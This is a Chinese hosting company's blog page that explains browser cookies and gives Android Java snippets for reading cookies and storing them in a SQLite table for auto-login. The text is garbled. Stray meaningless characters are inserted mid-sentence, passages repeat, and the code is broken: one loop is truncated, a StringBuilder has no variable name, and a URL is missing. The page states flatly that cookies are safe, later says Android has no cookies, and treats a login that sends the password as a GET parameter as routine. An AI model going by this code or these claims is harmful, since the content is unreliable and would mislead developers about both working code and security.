英文直接翻譯過來(lái)的意思呢就是小甜品 Cookie英文意指餅干,不過在電腦術(shù)語(yǔ)中它可不像餅干那么簡(jiǎn)單。簡(jiǎn)單的說,Cookie就是服務(wù)器暫存放在你計(jì)算機(jī)上的一筆資料,好讓服務(wù)器用來(lái)辨認(rèn)你的計(jì)算機(jī)。當(dāng)你在瀏覽網(wǎng)站的時(shí)候型族,Web服務(wù)器會(huì)先送一小小資料放在你的計(jì)算機(jī)上,Cookie 會(huì)幫你在網(wǎng)站上所打的文字或是一些選擇,都記錄下來(lái)。當(dāng)下次你再光臨同一個(gè)網(wǎng)站,Web服務(wù)器會(huì)先看看有沒有它上次留下的Cookie資鉛輪料,有的話,就會(huì)依據(jù)Cookie里的內(nèi)容來(lái)判斷使用者,送出特定的網(wǎng)頁(yè)內(nèi)容給你。
Cookie的使用很普遍,許多提供個(gè)人化服務(wù)的網(wǎng)站,都是利用Cookie來(lái)辨認(rèn)使用者,以方便送出使用者量身定做的內(nèi)容卜激弊,像是Web接口的免費(fèi)E-mail網(wǎng)站,都要用到 Cookie。Cookie中記載的資料相有限,Cookie是安全的。網(wǎng)站不可能經(jīng)由Cookie獲得你的E-mail地址或是其它私人資料,更沒有辦法透過Cookie來(lái)存取你的計(jì)算機(jī)。但是如果你實(shí)在不喜歡Web服務(wù)器亂丟餅干(Cookie)到你家,當(dāng)然可以讓瀏覽器拒絕網(wǎng)站存放Cookie到你的計(jì)算機(jī)。只要在IE的“工具”菜單下選擇“Intertnet選項(xiàng)”的“安全”,按自定義級(jí)別,將Cookie部分設(shè)為關(guān)閉,按確定,關(guān)閉瀏覽器,再重新啟動(dòng)瀏覽器即可。當(dāng)你關(guān)閉Cookie之后,很多網(wǎng)站的個(gè)人化服務(wù)功能很可能也不能再使用了.
英文直接翻譯過來(lái)的意思呢就是小甜品 Cookie英文意指餅干,不過在電腦術(shù)語(yǔ)中它可不御皮像餅干那么簡(jiǎn)單。簡(jiǎn)單的說,Cookie就是服務(wù)器暫存放在你電腦上的一筆資料察拆漏,好讓服務(wù)器用來(lái)識(shí)別你的計(jì)算機(jī)。當(dāng)你在瀏覽網(wǎng)站的時(shí)候,WEB服務(wù)器會(huì)先送一小小資料放在你的計(jì)算機(jī)上,Cookie會(huì)幫你在網(wǎng)站上所打的文字或是一些選擇,都記錄下來(lái)。當(dāng)下次你再光臨同一個(gè)網(wǎng)站,WEB服務(wù)器會(huì)先看看有沒有它上次留下的Cookie資料,如果有的話,就會(huì)根據(jù)Cookie里的內(nèi)容來(lái)判斷使用者,送出特定的網(wǎng)頁(yè)內(nèi)容給你。Cookie的使用很普遍,許多有提供個(gè)人化服務(wù)的網(wǎng)站,都是利用Cookie來(lái)識(shí)別使用者,以方便送出使用者量身定做的內(nèi)容,像是Web接口的免費(fèi)Email網(wǎng)站,都要用到Cookie。
其實(shí)Cookie中記載的資料相當(dāng)有限,網(wǎng)站不可能通過Cookie獲得你的Email地址或是其他私人資料。如果你想讓瀏覽器拒絕網(wǎng)站存放Cookie到你的計(jì)算機(jī)敗爛,可按”工具→Internet選項(xiàng)”,切換到”安全”標(biāo)簽,選擇”自定義級(jí)別”,找到Cookie部分(如圖),全都設(shè)為關(guān)閉,按下”確定”按鈕后,再關(guān)閉瀏覽器即可。當(dāng)你關(guān)閉Cookie之后,很多網(wǎng)站的個(gè)人化服務(wù)功能很可能也不能再使用了。
什么是cookie
cookie
歷來(lái)指就著牛奶一起吃的點(diǎn)心。然而,在因特網(wǎng)內(nèi),“cookie”這個(gè)字有了完全不同的意思。那么“cookie”到底是什么呢?“Cookie”是小量信息,鄭橡由網(wǎng)絡(luò)服務(wù)器發(fā)送出來(lái)以存儲(chǔ)在網(wǎng)絡(luò)瀏覽器上,從而下次這位獨(dú)一無(wú)二的訪客又回到該網(wǎng)絡(luò)服務(wù)器時(shí),可從該瀏覽器讀回此信息。這是很有用的,讓瀏覽器記住這位訪客的特定信息,如上次訪問的位置、花費(fèi)的時(shí)間或用戶首選項(xiàng)(如樣式表)。Cookie
是個(gè)存儲(chǔ)在瀏覽器目錄的文本文件,當(dāng)瀏覽器運(yùn)行時(shí),存儲(chǔ)在
RAM
中。一旦閣下從該網(wǎng)站或網(wǎng)絡(luò)服務(wù)器退出,Cookie
也可存儲(chǔ)在計(jì)算機(jī)的硬驅(qū)上。I3I.net的打算是,當(dāng)訪客結(jié)束其瀏覽器對(duì)話時(shí),即終止I3I.net的所有
cookie。
Cookie
有哪些用途?
Cookie
的用途之一是存儲(chǔ)用戶在特定網(wǎng)站上的密碼和
ID。另外,也用于存儲(chǔ)起始頁(yè)的首選項(xiàng)。在提供個(gè)人化查看的網(wǎng)站上,將要求閣下的網(wǎng)絡(luò)瀏覽器利用閣下計(jì)算機(jī)硬驅(qū)上的少量空間來(lái)儲(chǔ)存這些首選項(xiàng)。這樣,每次閣下登錄該網(wǎng)站時(shí),閣下的瀏覽器將檢查閣下是否就該唯一的服務(wù)器有任何預(yù)先定義的首選項(xiàng)(cookie)。如果有的話,瀏覽器將此
cookie
隨閣下對(duì)網(wǎng)頁(yè)的請(qǐng)求一起發(fā)送給服務(wù)器。Microsoft
和
Netscape
使用
cookie
在其網(wǎng)站上創(chuàng)建個(gè)人起始頁(yè)。各家公司利用
cookie
的一般用途包括:在線定貨系統(tǒng)、網(wǎng)站個(gè)人化和網(wǎng)站跟蹤。
網(wǎng)站個(gè)人化是
cookie
最有益的用途之一。例如,當(dāng)誰(shuí)來(lái)到
CNN
網(wǎng)站,但并不想查看任何商務(wù)新聞。網(wǎng)站允許他將該項(xiàng)選為選項(xiàng)。從那時(shí)起(或者直到
cookie
逾期),他在訪問
CNN
網(wǎng)頁(yè)時(shí)將不會(huì)讀到商務(wù)新聞。
這些
Cookie
是如何起作用的?
文檔的
HTML
代碼中的命令行告訴瀏覽器設(shè)置某一名稱或數(shù)值的
cookie。以下是用來(lái)設(shè)置
cookie
腳本的一個(gè)普通實(shí)例。
Set-Cookie:
name
=
VALUE;
expires
=
DATE;
path
=
PATH;
domain
=
DOMAIN_NAME;
那么安全性如何?HTTP
Cookie
不能用來(lái)從閣下的硬驅(qū)上檢索個(gè)人數(shù)據(jù)、放置病毒、得到閣下的電子郵件地址或偷竊有關(guān)閣下身份的敏感信息;然而,HTTP
Cookie
可用來(lái)跟蹤閣下在特定網(wǎng)站上的所到之處。不使用
cookie
就很難進(jìn)行網(wǎng)站跟蹤。
至于其他一切與因特網(wǎng)畝叢殲有關(guān)的事,如同閣下所希望的那樣是匿名的。沒有網(wǎng)站知道閣下是誰(shuí),除非閣下自己透露給網(wǎng)站。同時(shí),cookie
只是為了更好地了解使用模式并改進(jìn)網(wǎng)站訪客的效率而采用的一個(gè)網(wǎng)站跟蹤統(tǒng)計(jì)手段而已。
如果網(wǎng)站設(shè)計(jì)師旨在使網(wǎng)頁(yè)能與訪客更迅沖具互動(dòng)作用,或者若設(shè)計(jì)師計(jì)劃讓訪客自定義網(wǎng)站的外觀,則就需要使用
cookie。而且,如果閣下想要網(wǎng)站在某些情況下改變其外觀,cookie
則提供了一條快速、容易的途徑,讓閣下的
HTML
頁(yè)面按需要而改變。最新型的服務(wù)器使用
cookie
有助于數(shù)據(jù)庫(kù)的互動(dòng)性,進(jìn)而改進(jìn)網(wǎng)站的整體互動(dòng)性。
安卓cookie,cookie是什么?cookie是什么
瀏顫此覽器并洞薯的Cookie是什么意思絕者?
COOKIE是指你上網(wǎng)時(shí)候輸入的私密和訪問過的網(wǎng)絡(luò)的一個(gè)小,直接翻譯是甜餅。他一般在C盤主要是為了方便下次再訪問這些網(wǎng)頁(yè).如果上網(wǎng)的防病措施…
Android如何使用讀寫cookie的方法
可以使用SharedPreferences或者SQLite來(lái)保存用戶并升信息
private static HashMap CookieContiner=new HashMap() ;
/**
* 保存Cookie
* @param resp
*/
public void SaveCookies(HttpResponse httpResponse)
{
Header headers = httpResponse.getHeaders(“Set-Cookie”);
String headerstr=headers.toString();
if (headers == null)
return;
for(int i=0;i1?keyPair.trim():””;
CookieContiner.put(key, value);
}
}
}
/**
* 增加Cookie
* @param request
*/
public void AddCookies(HttpPost request)
{
StringBuilder = new StringBuilder();
Iterator iter = CookieContiner.entrySet().iterator();
while (iter.hasNext()) {
Map.Entry entry = (Map.Entry) iter.next();
String key = entry.getKey().toString();
String val = entry.getValue().toString();
.append(key);
.append(“=”);
.append(val);
.append(“;”);
}
request.addHeader(“cookie”, .toString());
}
做了一個(gè)android網(wǎng)絡(luò)應(yīng)用,要培蔽睜求用自己實(shí)現(xiàn)的webview去訪問web網(wǎng)站,并且在遠(yuǎn)程登錄成功之后把cookie寫入到手機(jī),保留用作以后的自動(dòng)登錄。找了好多資料。發(fā)覺讀取cookies倒還用的很普遍,可是通過程序?qū)慶ookie卻沒有太多資料。
先來(lái)看一下如何讀取cookie吧:
try
{
DefaultHttpClient httpclient = new DefaultHttpClient();
HttpGet httpget = new HttpGet(“
“配歲);
HttpResponse response = httpclient.execute(httpget);
HttpEntity entity = response.getEntity();
List cookies = httpclient.getCookieStore().getCookies();
if (entity != null) {
entity.consumeContent();
}
if (cookies.isEmpty()) {
Log.i(TAG, “NONE”);
} else {
for (int i = 0; i
Log.i(TAG,”- domain ” + cookies.get(i).getDomain());
Log.i(TAG,”- path ” + cookies.get(i).getPath());
Log.i(TAG,”- value ” + cookies.get(i).getValue());
Log.i(TAG,”- name ” + cookies.get(i).getName());
Log.i(TAG,”- port ” + cookies.get(i).getPorts());
Log.i(TAG,”- comment ” + cookies.get(i).getComment());
Log.i(TAG,”- commenturl” + cookies.get(i).getCommentURL());
Log.i(TAG,”- all ” + cookies.get(i).toString());
}
}
httpclient.getConnectionManager().shutdown();
}catch(Exception e){
//Todo
}finally{
//Todo
}
通過分析com.android.browser的源碼,發(fā)現(xiàn)android默認(rèn)的browser增加cookie是在數(shù)據(jù)庫(kù)中增加記錄,和window不同,win是采用一個(gè)txt文本文件的形式來(lái)存儲(chǔ)cookie。而android是將cookie存儲(chǔ)在數(shù)據(jù)庫(kù)中。具體的介紹在《android cookie存儲(chǔ)位置》一文中有介紹。我們都知道,android每個(gè)應(yīng)用程序的存儲(chǔ)空間都是獨(dú)立的。不管使用preference還是database存儲(chǔ),都會(huì)在每個(gè)/data/data/package name/下面進(jìn)行存儲(chǔ)(preference存儲(chǔ)在/data/data/package name/shared_prefs/xxxx.xml)。前面也說到cookie是存在數(shù)據(jù)庫(kù)中,那么如果采用非瀏覽器訪問網(wǎng)絡(luò)需要保留cookie的話我們就應(yīng)該在database中建立cookies表,并且存入相應(yīng)的cookies數(shù)據(jù)。仿照默認(rèn)broswer的代碼:
/**聲明一些數(shù)據(jù)庫(kù)操作的常量*/
private static SQLiteDatabase mDatabase = null;
private static final String DATABASE_FILE = “webview.db”;
private static final String COOKIES_NAME_COL = “name”;
private static final String COOKIES_VALUE_COL = “value”;
private static final String COOKIES_DOMAIN_COL = “domain”;
private static final String COOKIES_PATH_COL = “path”;
private static final String COOKIES_EXPIRES_COL = “expires”;
private static final String COOKIES_SECURE_COL = “secure”;
mDatabase = LoginApiActivity.this.openOrCreateDatabase(DATABASE_FILE, 0, null);
//創(chuàng)建cookie數(shù)據(jù)庫(kù)
if (mDatabase != null) {
// cookies
mDatabase.execSQL(“CREATE TABLE IF NOT EXISTS cookies “
+ ” (_id INTEGER PRIMARY KEY, “
+ COOKIES_NAME_COL + ” TEXT, ” + COOKIES_VALUE_COL
+ ” TEXT, ” + COOKIES_DOMAIN_COL + ” TEXT, “
+ COOKIES_PATH_COL + ” TEXT, ” + COOKIES_EXPIRES_COL
+ ” INTEGER, ” + COOKIES_SECURE_COL + ” INTEGER” + “);”);
mDatabase.execSQL(“CREATE INDEX IF NOT EXISTS cookiesIndex ON “
+ “cookies” + ” (path)”);
}
}
/*寫cookie*/
public void addCookie(Cookie cookie) {
if (cookie.getDomain() == null || cookie.getPath() == null || cookie.getName() == null
|| mDatabase == null) {
return;
}
String mCookieLock = “asd”;
synchronized (mCookieLock) {
ContentValues cookieVal = new ContentValues();
cookieVal.put(COOKIES_DOMAIN_COL, cookie.getDomain());
cookieVal.put(COOKIES_PATH_COL, cookie.getPath());
cookieVal.put(COOKIES_NAME_COL, cookie.getName());
cookieVal.put(COOKIES_VALUE_COL, cookie.getValue());
mDatabase.insert(“cookies”, null, cookieVal);
}
}
cookie只是網(wǎng)頁(yè)緩存,安卓是沒有cookie的。
比如一個(gè)網(wǎng)站xxxx.com,登陸頁(yè)為坦陵xxx.com/login.jsp,登陸方式為get,也就是xxx.com/login.jsp?username=xx&password=xx。登陸成功后從此頁(yè)都取得了Json值,但是用http來(lái)獲取另一行信個(gè)頁(yè)面的Json時(shí)就是null,這就是典型的cookie問題,因?yàn)檫@里每一檔信輪個(gè)Json頁(yè)面都有cookie檢測(cè)。需要android請(qǐng)求的時(shí)候加上cookie在可以順利訪問。
緩存
cookie存入本地?cái)?shù)據(jù)庫(kù)的介紹就聊到這里吧,感謝你花時(shí)間閱讀本站內(nèi)容,更多關(guān)于cookie存入本地?cái)?shù)據(jù)庫(kù),實(shí)現(xiàn)網(wǎng)站記住登錄狀態(tài):cookie存入本地?cái)?shù)據(jù)庫(kù),cookie里面保存的什么內(nèi)容,占空間大嗎?能否清楚,cookie是什么意思?,安卓cookie,cookie是什么?cookie是什么的信息別忘了在本站進(jìn)行查找喔。
成都創(chuàng)新互聯(lián)科技有限公司,是一家專注于互聯(lián)網(wǎng)、IDC服務(wù)、應(yīng)用軟件開發(fā)、網(wǎng)站建設(shè)推廣的公司,為客戶提供互聯(lián)網(wǎng)基礎(chǔ)服務(wù)!
創(chuàng)新互聯(lián)(www.cdcxhl.com)提供簡(jiǎn)單好用,價(jià)格厚道的香港/美國(guó)云服務(wù)器和獨(dú)立服務(wù)器。創(chuàng)新互聯(lián)——四川成都IDC機(jī)房服務(wù)器托管/機(jī)柜租用。為您精選優(yōu)質(zhì)idc數(shù)據(jù)中心機(jī)房租用、服務(wù)器托管、機(jī)柜租賃、大帶寬租用,高電服務(wù)器托管,算力服務(wù)器租用,可選線路電信、移動(dòng)、聯(lián)通機(jī)房等。
標(biāo)題名稱:實(shí)現(xiàn)網(wǎng)站記住登錄狀態(tài):cookie存入本地?cái)?shù)據(jù)庫(kù)(cookie存入本地?cái)?shù)據(jù)庫(kù))
URL標(biāo)題:http://www.5511xx.com/article/cosspsi.html


咨詢
建站咨詢
